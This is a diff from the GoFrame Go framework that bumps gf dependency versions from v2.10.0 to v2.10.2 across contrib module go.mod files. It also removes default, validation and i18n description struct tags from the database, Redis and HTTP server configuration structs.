@ -4,7 +4,7 @@ go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/glebarez/go-sqlite v1.21.2
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
)
|
||||
|
||||
require (
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/drivers/sqlitecgo/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
github.com/mattn/go-sqlite3 v1.14.17
|
||||
)
|
||||
|
||||
|
||||
@ -3,8 +3,8 @@ module github.com/gogf/gf/contrib/drivers/tidb/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/contrib/drivers/mysql/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/contrib/drivers/mysql/v2 v2.10.2
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
)
|
||||
|
||||
require (
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/metric/otelmetric/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
github.com/prometheus/client_golang v1.23.2
|
||||
go.opentelemetry.io/contrib/instrumentation/runtime v0.63.0
|
||||
go.opentelemetry.io/otel v1.38.0
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/nosql/redis/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
github.com/redis/go-redis/v9 v9.12.1
|
||||
go.opentelemetry.io/otel v1.38.0
|
||||
go.opentelemetry.io/otel/trace v1.38.0
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/registry/consul/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
github.com/hashicorp/consul/api v1.26.1
|
||||
)
|
||||
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/registry/etcd/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
go.etcd.io/etcd/client/v3 v3.5.17
|
||||
google.golang.org/grpc v1.59.0
|
||||
)
|
||||
|
||||
@ -2,7 +2,7 @@ module github.com/gogf/gf/contrib/registry/file/v2
|
||||
|
||||
go 1.23.0
|
||||
|
||||
require github.com/gogf/gf/v2 v2.10.0
|
||||
require github.com/gogf/gf/v2 v2.10.2
|
||||
|
||||
require (
|
||||
github.com/BurntSushi/toml v1.5.0 // indirect
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/registry/nacos/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
github.com/nacos-group/nacos-sdk-go/v2 v2.3.5
|
||||
)
|
||||
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/registry/polaris/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
github.com/polarismesh/polaris-go v1.6.1
|
||||
)
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@ go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/go-zookeeper/zk v1.0.3
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
golang.org/x/sync v0.16.0
|
||||
)
|
||||
|
||||
|
||||
@ -3,8 +3,8 @@ module github.com/gogf/gf/contrib/rpc/grpcx/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/contrib/registry/file/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/contrib/registry/file/v2 v2.10.2
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
go.opentelemetry.io/otel v1.38.0
|
||||
go.opentelemetry.io/otel/trace v1.38.0
|
||||
google.golang.org/grpc v1.64.1
|
||||
|
||||
@ -2,7 +2,7 @@ module github.com/gogf/gf/contrib/sdk/httpclient/v2
|
||||
|
||||
go 1.23.0
|
||||
|
||||
require github.com/gogf/gf/v2 v2.10.0
|
||||
require github.com/gogf/gf/v2 v2.10.2
|
||||
|
||||
require (
|
||||
github.com/BurntSushi/toml v1.5.0 // indirect
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/trace/otlpgrpc/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
go.opentelemetry.io/otel v1.38.0
|
||||
go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.38.0
|
||||
go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.38.0
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/trace/otlphttp/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
go.opentelemetry.io/otel v1.38.0
|
||||
go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.38.0
|
||||
go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.38.0
|
||||
|
||||
@ -30,120 +30,120 @@ type ConfigGroup []ConfigNode
|
||||
type ConfigNode struct {
|
||||
// Host specifies the server address, can be either IP address or domain name
|
||||
// Example: "127.0.0.1", "localhost"
|
||||
Host string `json:"host" d:"127.0.0.1" dc:"Database server address|i18n:config.database.host"`
|
||||
Host string `json:"host"`
|
||||
|
||||
// Port specifies the server port number
|
||||
// Default is typically "3306" for MySQL
|
||||
Port string `json:"port" dc:"Database server port|i18n:config.database.port"`
|
||||
Port string `json:"port"`
|
||||
|
||||
// User specifies the authentication username for database connection
|
||||
User string `json:"user" v:"required" dc:"Database username|i18n:config.database.user"`
|
||||
User string `json:"user"`
|
||||
|
||||
// Pass specifies the authentication password for database connection
|
||||
Pass string `json:"pass" dc:"Database password|i18n:config.database.pass"`
|
||||
Pass string `json:"pass"`
|
||||
|
||||
// Name specifies the default database name to be used
|
||||
Name string `json:"name" v:"required" dc:"Database name|i18n:config.database.name"`
|
||||
Name string `json:"name"`
|
||||
|
||||
// Type specifies the database type
|
||||
// Example: mysql, mariadb, sqlite, mssql, pgsql, oracle, clickhouse, dm.
|
||||
Type string `json:"type" v:"required" dc:"Database type (mysql,pgsql,sqlite,mssql,oracle,clickhouse,dm)|i18n:config.database.type"`
|
||||
Type string `json:"type"`
|
||||
|
||||
// Link provides custom connection string that combines all configuration in one string
|
||||
// Optional field
|
||||
Link string `json:"link" dc:"Custom connection string|i18n:config.database.link"`
|
||||
Link string `json:"link"`
|
||||
|
||||
// Extra provides additional configuration options for third-party database drivers
|
||||
// Optional field
|
||||
Extra string `json:"extra" dc:"Extra connection options|i18n:config.database.extra"`
|
||||
Extra string `json:"extra"`
|
||||
|
||||
// Role specifies the node role in master-slave setup
|
||||
// Optional field, defaults to "master"
|
||||
// Available values: "master", "slave"
|
||||
Role Role `json:"role" d:"master" dc:"Node role (master/slave)|i18n:config.database.role"`
|
||||
Role Role `json:"role"`
|
||||
|
||||
// Debug enables debug mode for logging and output
|
||||
// Optional field
|
||||
Debug bool `json:"debug" d:"false" dc:"Enable debug mode|i18n:config.database.debug"`
|
||||
Debug bool `json:"debug"`
|
||||
|
||||
// Prefix specifies the table name prefix
|
||||
// Optional field
|
||||
Prefix string `json:"prefix" dc:"Table name prefix|i18n:config.database.prefix"`
|
||||
Prefix string `json:"prefix"`
|
||||
|
||||
// DryRun enables simulation mode where SELECT statements are executed
|
||||
// but INSERT/UPDATE/DELETE statements are not
|
||||
// Optional field
|
||||
DryRun bool `json:"dryRun" d:"false" dc:"Enable dry run mode|i18n:config.database.dryRun"`
|
||||
DryRun bool `json:"dryRun"`
|
||||
|
||||
// Weight specifies the node weight for load balancing calculations
|
||||
// Optional field, only effective in multi-node setups
|
||||
Weight int `json:"weight" d:"0" dc:"Node weight for load balancing|i18n:config.database.weight"`
|
||||
Weight int `json:"weight"`
|
||||
|
||||
// Charset specifies the character set for database operations
|
||||
// Optional field, defaults to "utf8"
|
||||
Charset string `json:"charset" d:"utf8" dc:"Character set|i18n:config.database.charset"`
|
||||
Charset string `json:"charset"`
|
||||
|
||||
// Protocol specifies the network protocol for database connection
|
||||
// Optional field, defaults to "tcp"
|
||||
// See net.Dial for available network protocols
|
||||
Protocol string `json:"protocol" d:"tcp" dc:"Network protocol|i18n:config.database.protocol"`
|
||||
Protocol string `json:"protocol"`
|
||||
|
||||
// Timezone sets the time zone for timestamp interpretation and display
|
||||
// Optional field
|
||||
Timezone string `json:"timezone" dc:"Connection timezone|i18n:config.database.timezone"`
|
||||
Timezone string `json:"timezone"`
|
||||
|
||||
// Namespace specifies the schema namespace for certain databases
|
||||
// Optional field, e.g., in PostgreSQL, Name is the catalog and Namespace is the schema
|
||||
Namespace string `json:"namespace" dc:"Schema namespace|i18n:config.database.namespace"`
|
||||
Namespace string `json:"namespace"`
|
||||
|
||||
// MaxIdleConnCount specifies the maximum number of idle connections in the pool
|
||||
// Optional field
|
||||
MaxIdleConnCount int `json:"maxIdle" d:"10" dc:"Max idle connections|i18n:config.database.maxIdle"`
|
||||
MaxIdleConnCount int `json:"maxIdle"`
|
||||
|
||||
// MaxOpenConnCount specifies the maximum number of open connections in the pool
|
||||
// Optional field
|
||||
MaxOpenConnCount int `json:"maxOpen" d:"0" dc:"Max open connections (0=unlimited)|i18n:config.database.maxOpen"`
|
||||
MaxOpenConnCount int `json:"maxOpen"`
|
||||
|
||||
// MaxConnLifeTime specifies the maximum lifetime of a connection
|
||||
// Optional field
|
||||
MaxConnLifeTime time.Duration `json:"maxLifeTime" d:"30s" dc:"Max connection lifetime|i18n:config.database.maxLifeTime"`
|
||||
MaxConnLifeTime time.Duration `json:"maxLifeTime"`
|
||||
|
||||
// MaxIdleConnTime specifies the maximum idle time of a connection before being closed
|
||||
// This is Go 1.15+ feature: sql.DB.SetConnMaxIdleTime
|
||||
// Optional field
|
||||
MaxIdleConnTime time.Duration `json:"maxIdleTime" dc:"Max connection idle time|i18n:config.database.maxIdleTime"`
|
||||
MaxIdleConnTime time.Duration `json:"maxIdleTime"`
|
||||
|
||||
// QueryTimeout specifies the maximum execution time for DQL operations
|
||||
// Optional field
|
||||
QueryTimeout time.Duration `json:"queryTimeout" dc:"DQL query timeout|i18n:config.database.queryTimeout"`
|
||||
QueryTimeout time.Duration `json:"queryTimeout"`
|
||||
|
||||
// ExecTimeout specifies the maximum execution time for DML operations
|
||||
// Optional field
|
||||
ExecTimeout time.Duration `json:"execTimeout" dc:"DML exec timeout|i18n:config.database.execTimeout"`
|
||||
ExecTimeout time.Duration `json:"execTimeout"`
|
||||
|
||||
// TranTimeout specifies the maximum execution time for a transaction block
|
||||
// Optional field
|
||||
TranTimeout time.Duration `json:"tranTimeout" dc:"Transaction timeout|i18n:config.database.tranTimeout"`
|
||||
TranTimeout time.Duration `json:"tranTimeout"`
|
||||
|
||||
// PrepareTimeout specifies the maximum execution time for prepare operations
|
||||
// Optional field
|
||||
PrepareTimeout time.Duration `json:"prepareTimeout" dc:"Prepare statement timeout|i18n:config.database.prepareTimeout"`
|
||||
PrepareTimeout time.Duration `json:"prepareTimeout"`
|
||||
|
||||
// CreatedAt specifies the field name for automatic timestamp on record creation
|
||||
// Optional field
|
||||
CreatedAt string `json:"createdAt" dc:"Auto timestamp field for creation|i18n:config.database.createdAt"`
|
||||
CreatedAt string `json:"createdAt"`
|
||||
|
||||
// UpdatedAt specifies the field name for automatic timestamp on record updates
|
||||
// Optional field
|
||||
UpdatedAt string `json:"updatedAt" dc:"Auto timestamp field for update|i18n:config.database.updatedAt"`
|
||||
UpdatedAt string `json:"updatedAt"`
|
||||
|
||||
// DeletedAt specifies the field name for automatic timestamp on record deletion
|
||||
// Optional field
|
||||
DeletedAt string `json:"deletedAt" dc:"Auto timestamp field for soft delete|i18n:config.database.deletedAt"`
|
||||
DeletedAt string `json:"deletedAt"`
|
||||
|
||||
// TimeMaintainDisabled controls whether automatic time maintenance is disabled
|
||||
// Optional field
|
||||
TimeMaintainDisabled bool `json:"timeMaintainDisabled" d:"false" dc:"Disable auto time maintenance|i18n:config.database.timeMaintainDisabled"`
|
||||
TimeMaintainDisabled bool `json:"timeMaintainDisabled"`
|
||||
}
|
||||
|
||||
type Role string
|
||||
|
||||
@ -21,28 +21,28 @@ import (
|
||||
// Config is redis configuration.
|
||||
type Config struct {
|
||||
// Address It supports single and cluster redis server. Multiple addresses joined with char ','. Eg: 192.168.1.1:6379, 192.168.1.2:6379.
|
||||
Address string `json:"address" v:"required" dc:"Redis server address|i18n:config.redis.address"`
|
||||
Db int `json:"db" d:"0" dc:"Redis database index|i18n:config.redis.db"` // Redis db.
|
||||
User string `json:"user" dc:"Username for AUTH|i18n:config.redis.user"` // Username for AUTH.
|
||||
Pass string `json:"pass" dc:"Password for AUTH|i18n:config.redis.pass"` // Password for AUTH.
|
||||
SentinelUser string `json:"sentinel_user" dc:"Username for sentinel AUTH|i18n:config.redis.sentinelUser"` // Username for sentinel AUTH.
|
||||
SentinelPass string `json:"sentinel_pass" dc:"Password for sentinel AUTH|i18n:config.redis.sentinelPass"` // Password for sentinel AUTH.
|
||||
MinIdle int `json:"minIdle" d:"0" dc:"Min idle connections|i18n:config.redis.minIdle"` // Minimum number of connections allowed to be idle (default is 0)
|
||||
MaxIdle int `json:"maxIdle" d:"10" dc:"Max idle connections|i18n:config.redis.maxIdle"` // Maximum number of connections allowed to be idle (default is 10)
|
||||
MaxActive int `json:"maxActive" d:"0" dc:"Max active connections (0=unlimited)|i18n:config.redis.maxActive"` // Maximum number of connections limit (default is 0 means no limit).
|
||||
MaxConnLifetime time.Duration `json:"maxConnLifetime" d:"30s" dc:"Max connection lifetime|i18n:config.redis.maxConnLifetime"` // Maximum lifetime of the connection (default is 30 seconds, not allowed to be set to 0)
|
||||
IdleTimeout time.Duration `json:"idleTimeout" d:"10s" dc:"Idle connection timeout|i18n:config.redis.idleTimeout"` // Maximum idle time for connection (default is 10 seconds, not allowed to be set to 0)
|
||||
WaitTimeout time.Duration `json:"waitTimeout" dc:"Wait timeout for connection pool|i18n:config.redis.waitTimeout"` // Timed out duration waiting to get a connection from the connection pool.
|
||||
DialTimeout time.Duration `json:"dialTimeout" dc:"Dial connection timeout|i18n:config.redis.dialTimeout"` // Dial connection timeout for TCP.
|
||||
ReadTimeout time.Duration `json:"readTimeout" dc:"Read timeout|i18n:config.redis.readTimeout"` // Read timeout for TCP. DO NOT set it if not necessary.
|
||||
WriteTimeout time.Duration `json:"writeTimeout" dc:"Write timeout|i18n:config.redis.writeTimeout"` // Write timeout for TCP.
|
||||
MasterName string `json:"masterName" dc:"Master name for Sentinel mode|i18n:config.redis.masterName"` // Used in Redis Sentinel mode.
|
||||
TLS bool `json:"tls" d:"false" dc:"Enable TLS connection|i18n:config.redis.tls"` // Specifies whether TLS should be used when connecting to the server.
|
||||
TLSSkipVerify bool `json:"tlsSkipVerify" d:"false" dc:"Skip TLS server name verification|i18n:config.redis.tlsSkipVerify"` // Disables server name verification when connecting over TLS.
|
||||
TLSConfig *tls.Config `json:"-"` // TLS Config to use. When set TLS will be negotiated.
|
||||
SlaveOnly bool `json:"slaveOnly" d:"false" dc:"Route commands to slave nodes only|i18n:config.redis.slaveOnly"` // Route all commands to slave read-only nodes.
|
||||
Cluster bool `json:"cluster" d:"false" dc:"Enable cluster mode|i18n:config.redis.cluster"` // Specifies whether cluster mode be used.
|
||||
Protocol int `json:"protocol" d:"3" dc:"RESP protocol version (2 or 3)|i18n:config.redis.protocol"` // Specifies the RESP version (Protocol 2 or 3.)
|
||||
Address string `json:"address"`
|
||||
Db int `json:"db"` // Redis db.
|
||||
User string `json:"user"` // Username for AUTH.
|
||||
Pass string `json:"pass"` // Password for AUTH.
|
||||
SentinelUser string `json:"sentinel_user"` // Username for sentinel AUTH.
|
||||
SentinelPass string `json:"sentinel_pass"` // Password for sentinel AUTH.
|
||||
MinIdle int `json:"minIdle"` // Minimum number of connections allowed to be idle (default is 0)
|
||||
MaxIdle int `json:"maxIdle"` // Maximum number of connections allowed to be idle (default is 10)
|
||||
MaxActive int `json:"maxActive"` // Maximum number of connections limit (default is 0 means no limit).
|
||||
MaxConnLifetime time.Duration `json:"maxConnLifetime"` // Maximum lifetime of the connection (default is 30 seconds, not allowed to be set to 0)
|
||||
IdleTimeout time.Duration `json:"idleTimeout"` // Maximum idle time for connection (default is 10 seconds, not allowed to be set to 0)
|
||||
WaitTimeout time.Duration `json:"waitTimeout"` // Timed out duration waiting to get a connection from the connection pool.
|
||||
DialTimeout time.Duration `json:"dialTimeout"` // Dial connection timeout for TCP.
|
||||
ReadTimeout time.Duration `json:"readTimeout"` // Read timeout for TCP. DO NOT set it if not necessary.
|
||||
WriteTimeout time.Duration `json:"writeTimeout"` // Write timeout for TCP.
|
||||
MasterName string `json:"masterName"` // Used in Redis Sentinel mode.
|
||||
TLS bool `json:"tls"` // Specifies whether TLS should be used when connecting to the server.
|
||||
TLSSkipVerify bool `json:"tlsSkipVerify"` // Disables server name verification when connecting over TLS.
|
||||
TLSConfig *tls.Config `json:"-"` // TLS Config to use. When set TLS will be negotiated.
|
||||
SlaveOnly bool `json:"slaveOnly"` // Route all commands to slave read-only nodes.
|
||||
Cluster bool `json:"cluster"` // Specifies whether cluster mode be used.
|
||||
Protocol int `json:"protocol"` // Specifies the RESP version (Protocol 2 or 3.)
|
||||
}
|
||||
|
||||
const (
|
||||
|
||||
@ -50,26 +50,26 @@ type ServerConfig struct {
|
||||
// ======================================================================================================
|
||||
|
||||
// Service name, which is for service registry and discovery.
|
||||
Name string `json:"name" d:"default" dc:"Service name for registry and discovery|i18n:config.server.name"`
|
||||
Name string `json:"name"`
|
||||
|
||||
// Address specifies the server listening address like "port" or ":port",
|
||||
// multiple addresses joined using ','.
|
||||
Address string `json:"address" d:":0" v:"required" dc:"Server listening address|i18n:config.server.address"`
|
||||
Address string `json:"address"`
|
||||
|
||||
// HTTPSAddr specifies the HTTPS addresses, multiple addresses joined using char ','.
|
||||
HTTPSAddr string `json:"httpsAddr" dc:"HTTPS listening address|i18n:config.server.httpsAddr"`
|
||||
HTTPSAddr string `json:"httpsAddr"`
|
||||
|
||||
// Listeners specifies the custom listeners.
|
||||
Listeners []net.Listener `json:"listeners"`
|
||||
|
||||
// Endpoints are custom endpoints for service register, it uses Address if empty.
|
||||
Endpoints []string `json:"endpoints" dc:"Custom endpoints for service register|i18n:config.server.endpoints"`
|
||||
Endpoints []string `json:"endpoints"`
|
||||
|
||||
// HTTPSCertPath specifies certification file path for HTTPS service.
|
||||
HTTPSCertPath string `json:"httpsCertPath" dc:"HTTPS certification file path|i18n:config.server.httpsCertPath"`
|
||||
HTTPSCertPath string `json:"httpsCertPath"`
|
||||
|
||||
// HTTPSKeyPath specifies the key file path for HTTPS service.
|
||||
HTTPSKeyPath string `json:"httpsKeyPath" dc:"HTTPS key file path|i18n:config.server.httpsKeyPath"`
|
||||
HTTPSKeyPath string `json:"httpsKeyPath"`
|
||||
|
||||
// TLSConfig optionally provides a TLS configuration for use
|
||||
// by ServeTLS and ListenAndServeTLS. Note that this value is
|
||||
@ -90,19 +90,19 @@ type ServerConfig struct {
|
||||
// decisions on each request body's acceptable deadline or
|
||||
// upload rate, most users will prefer to use
|
||||
// ReadHeaderTimeout. It is valid to use them both.
|
||||
ReadTimeout time.Duration `json:"readTimeout" d:"60s" dc:"HTTP read timeout duration|i18n:config.server.readTimeout"`
|
||||
ReadTimeout time.Duration `json:"readTimeout"`
|
||||
|
||||
// WriteTimeout is the maximum duration before timing out
|
||||
// writes of the response. It is reset whenever a new
|
||||
// request's header is read. Like ReadTimeout, it does not
|
||||
// let Handlers make decisions on a per-request basis.
|
||||
WriteTimeout time.Duration `json:"writeTimeout" d:"0" dc:"HTTP write timeout duration|i18n:config.server.writeTimeout"`
|
||||
WriteTimeout time.Duration `json:"writeTimeout"`
|
||||
|
||||
// IdleTimeout is the maximum amount of time to wait for the
|
||||
// next request when keep-alive are enabled. If IdleTimeout
|
||||
// is zero, the value of ReadTimeout is used. If both are
|
||||
// zero, there is no timeout.
|
||||
IdleTimeout time.Duration `json:"idleTimeout" d:"60s" dc:"HTTP idle timeout duration|i18n:config.server.idleTimeout"`
|
||||
IdleTimeout time.Duration `json:"idleTimeout"`
|
||||
|
||||
// MaxHeaderBytes controls the maximum number of bytes the
|
||||
// server will read parsing the request header's keys and
|
||||
@ -111,14 +111,14 @@ type ServerConfig struct {
|
||||
//
|
||||
// It can be configured in configuration file using string like: 1m, 10m, 500kb etc.
|
||||
// It's 10240 bytes in default.
|
||||
MaxHeaderBytes int `json:"maxHeaderBytes" d:"10240" dc:"Max header size in bytes|i18n:config.server.maxHeaderBytes"`
|
||||
MaxHeaderBytes int `json:"maxHeaderBytes"`
|
||||
|
||||
// KeepAlive enables HTTP keep-alive.
|
||||
KeepAlive bool `json:"keepAlive" d:"true" dc:"Enable HTTP keep-alive|i18n:config.server.keepAlive"`
|
||||
KeepAlive bool `json:"keepAlive"`
|
||||
|
||||
// ServerAgent specifies the server agent information, which is wrote to
|
||||
// HTTP response header as "Server".
|
||||
ServerAgent string `json:"serverAgent" d:"GoFrame HTTP Server" dc:"Server agent header value|i18n:config.server.serverAgent"`
|
||||
ServerAgent string `json:"serverAgent"`
|
||||
|
||||
// View specifies the default template view object for the server.
|
||||
View *gview.View `json:"view"`
|
||||
@ -128,78 +128,78 @@ type ServerConfig struct {
|
||||
// ======================================================================================================
|
||||
|
||||
// Rewrites specifies the URI rewrite rules map.
|
||||
Rewrites map[string]string `json:"rewrites" dc:"URI rewrite rules map|i18n:config.server.rewrites"`
|
||||
Rewrites map[string]string `json:"rewrites"`
|
||||
|
||||
// IndexFiles specifies the index files for static folder.
|
||||
IndexFiles []string `json:"indexFiles" dc:"Index files for static folder|i18n:config.server.indexFiles"`
|
||||
IndexFiles []string `json:"indexFiles"`
|
||||
|
||||
// IndexFolder specifies if listing sub-files when requesting folder.
|
||||
// The server responses HTTP status code 403 if it is false.
|
||||
IndexFolder bool `json:"indexFolder" d:"false" dc:"Allow listing folder contents|i18n:config.server.indexFolder"`
|
||||
IndexFolder bool `json:"indexFolder"`
|
||||
|
||||
// ServerRoot specifies the root directory for static service.
|
||||
ServerRoot string `json:"serverRoot" dc:"Root directory for static service|i18n:config.server.serverRoot"`
|
||||
ServerRoot string `json:"serverRoot"`
|
||||
|
||||
// SearchPaths specifies additional searching directories for static service.
|
||||
SearchPaths []string `json:"searchPaths" dc:"Additional search paths for static service|i18n:config.server.searchPaths"`
|
||||
SearchPaths []string `json:"searchPaths"`
|
||||
|
||||
// StaticPaths specifies URI to directory mapping array.
|
||||
StaticPaths []staticPathItem `json:"staticPaths"`
|
||||
|
||||
// FileServerEnabled is the global switch for static service.
|
||||
// It is automatically set enabled if any static path is set.
|
||||
FileServerEnabled bool `json:"fileServerEnabled" d:"false" dc:"Enable static file server|i18n:config.server.fileServerEnabled"`
|
||||
FileServerEnabled bool `json:"fileServerEnabled"`
|
||||
|
||||
// ======================================================================================================
|
||||
// Cookie.
|
||||
// ======================================================================================================
|
||||
|
||||
// CookieMaxAge specifies the max TTL for cookie items.
|
||||
CookieMaxAge time.Duration `json:"cookieMaxAge" d:"8760h" dc:"Cookie max TTL duration|i18n:config.server.cookieMaxAge"`
|
||||
CookieMaxAge time.Duration `json:"cookieMaxAge"`
|
||||
|
||||
// CookiePath specifies cookie path.
|
||||
// It also affects the default storage for session id.
|
||||
CookiePath string `json:"cookiePath" d:"/" dc:"Cookie path|i18n:config.server.cookiePath"`
|
||||
CookiePath string `json:"cookiePath"`
|
||||
|
||||
// CookieDomain specifies cookie domain.
|
||||
// It also affects the default storage for session id.
|
||||
CookieDomain string `json:"cookieDomain" dc:"Cookie domain|i18n:config.server.cookieDomain"`
|
||||
CookieDomain string `json:"cookieDomain"`
|
||||
|
||||
// CookieSameSite specifies cookie SameSite property.
|
||||
// It also affects the default storage for session id.
|
||||
CookieSameSite string `json:"cookieSameSite" dc:"Cookie SameSite property|i18n:config.server.cookieSameSite"`
|
||||
CookieSameSite string `json:"cookieSameSite"`
|
||||
|
||||
// CookieSameSite specifies cookie Secure property.
|
||||
// It also affects the default storage for session id.
|
||||
CookieSecure bool `json:"cookieSecure" d:"false" dc:"Cookie Secure flag|i18n:config.server.cookieSecure"`
|
||||
CookieSecure bool `json:"cookieSecure"`
|
||||
|
||||
// CookieSameSite specifies cookie HttpOnly property.
|
||||
// It also affects the default storage for session id.
|
||||
CookieHttpOnly bool `json:"cookieHttpOnly" d:"false" dc:"Cookie HttpOnly flag|i18n:config.server.cookieHttpOnly"`
|
||||
CookieHttpOnly bool `json:"cookieHttpOnly"`
|
||||
|
||||
// ======================================================================================================
|
||||
// Session.
|
||||
// ======================================================================================================
|
||||
|
||||
// SessionIdName specifies the session id name.
|
||||
SessionIdName string `json:"sessionIdName" d:"gfsessionid" dc:"Session ID name|i18n:config.server.sessionIdName"`
|
||||
SessionIdName string `json:"sessionIdName"`
|
||||
|
||||
// SessionMaxAge specifies max TTL for session items.
|
||||
SessionMaxAge time.Duration `json:"sessionMaxAge" d:"24h" dc:"Session max TTL duration|i18n:config.server.sessionMaxAge"`
|
||||
SessionMaxAge time.Duration `json:"sessionMaxAge"`
|
||||
|
||||
// SessionPath specifies the session storage directory path for storing session files.
|
||||
// It only makes sense if the session storage is type of file storage.
|
||||
SessionPath string `json:"sessionPath" dc:"Session file storage path|i18n:config.server.sessionPath"`
|
||||
SessionPath string `json:"sessionPath"`
|
||||
|
||||
// SessionStorage specifies the session storage.
|
||||
SessionStorage gsession.Storage `json:"sessionStorage"`
|
||||
|
||||
// SessionCookieMaxAge specifies the cookie ttl for session id.
|
||||
// If it is set 0, it means it expires along with browser session.
|
||||
SessionCookieMaxAge time.Duration `json:"sessionCookieMaxAge" d:"24h" dc:"Session cookie max TTL|i18n:config.server.sessionCookieMaxAge"`
|
||||
SessionCookieMaxAge time.Duration `json:"sessionCookieMaxAge"`
|
||||
|
||||
// SessionCookieOutput specifies whether automatic outputting session id to cookie.
|
||||
SessionCookieOutput bool `json:"sessionCookieOutput" d:"true" dc:"Auto output session id to cookie|i18n:config.server.sessionCookieOutput"`
|
||||
SessionCookieOutput bool `json:"sessionCookieOutput"`
|
||||
|
||||
// ======================================================================================================
|
||||
// Logging.
|
||||
@ -235,13 +235,13 @@ type ServerConfig struct {
|
||||
// ======================================================================================================
|
||||
|
||||
// Graceful enables graceful reload feature for all servers of the process.
|
||||
Graceful bool `json:"graceful" d:"false" dc:"Enable graceful reload|i18n:config.server.graceful"`
|
||||
Graceful bool `json:"graceful"`
|
||||
|
||||
// GracefulTimeout set the maximum survival time (seconds) of the parent process.
|
||||
GracefulTimeout int `json:"gracefulTimeout" d:"2" dc:"Graceful reload timeout in seconds|i18n:config.server.gracefulTimeout"`
|
||||
GracefulTimeout int `json:"gracefulTimeout"`
|
||||
|
||||
// GracefulShutdownTimeout set the maximum survival time (seconds) before stopping the server.
|
||||
GracefulShutdownTimeout int `json:"gracefulShutdownTimeout" d:"5" dc:"Graceful shutdown timeout in seconds|i18n:config.server.gracefulShutdownTimeout"`
|
||||
GracefulShutdownTimeout int `json:"gracefulShutdownTimeout"`
|
||||
|
||||
// ======================================================================================================
|
||||
// Other.
|
||||
@ -250,23 +250,23 @@ type ServerConfig struct {
|
||||
// ClientMaxBodySize specifies the max body size limit in bytes for client request.
|
||||
// It can be configured in configuration file using string like: 1m, 10m, 500kb etc.
|
||||
// It's `8MB` in default.
|
||||
ClientMaxBodySize int64 `json:"clientMaxBodySize" d:"8388608" dc:"Max client body size in bytes|i18n:config.server.clientMaxBodySize"`
|
||||
ClientMaxBodySize int64 `json:"clientMaxBodySize"`
|
||||
|
||||
// FormParsingMemory specifies max memory buffer size in bytes which can be used for
|
||||
// parsing multimedia form.
|
||||
// It can be configured in configuration file using string like: 1m, 10m, 500kb etc.
|
||||
// It's 1MB in default.
|
||||
FormParsingMemory int64 `json:"formParsingMemory" d:"1048576" dc:"Max form parsing memory in bytes|i18n:config.server.formParsingMemory"`
|
||||
FormParsingMemory int64 `json:"formParsingMemory"`
|
||||
|
||||
// NameToUriType specifies the type for converting struct method name to URI when
|
||||
// registering routes.
|
||||
NameToUriType int `json:"nameToUriType" d:"0" dc:"Method name to URI type (0:default,1:fullname,2:alllower,3:camel)|i18n:config.server.nameToUriType"`
|
||||
NameToUriType int `json:"nameToUriType"`
|
||||
|
||||
// RouteOverWrite allows to overwrite the route if duplicated.
|
||||
RouteOverWrite bool `json:"routeOverWrite" d:"false" dc:"Allow overwriting duplicate routes|i18n:config.server.routeOverWrite"`
|
||||
RouteOverWrite bool `json:"routeOverWrite"`
|
||||
|
||||
// DumpRouterMap specifies whether automatically dumps router map when server starts.
|
||||
DumpRouterMap bool `json:"dumpRouterMap" d:"true" dc:"Dump router map on server start|i18n:config.server.dumpRouterMap"`
|
||||
DumpRouterMap bool `json:"dumpRouterMap"`
|
||||
}
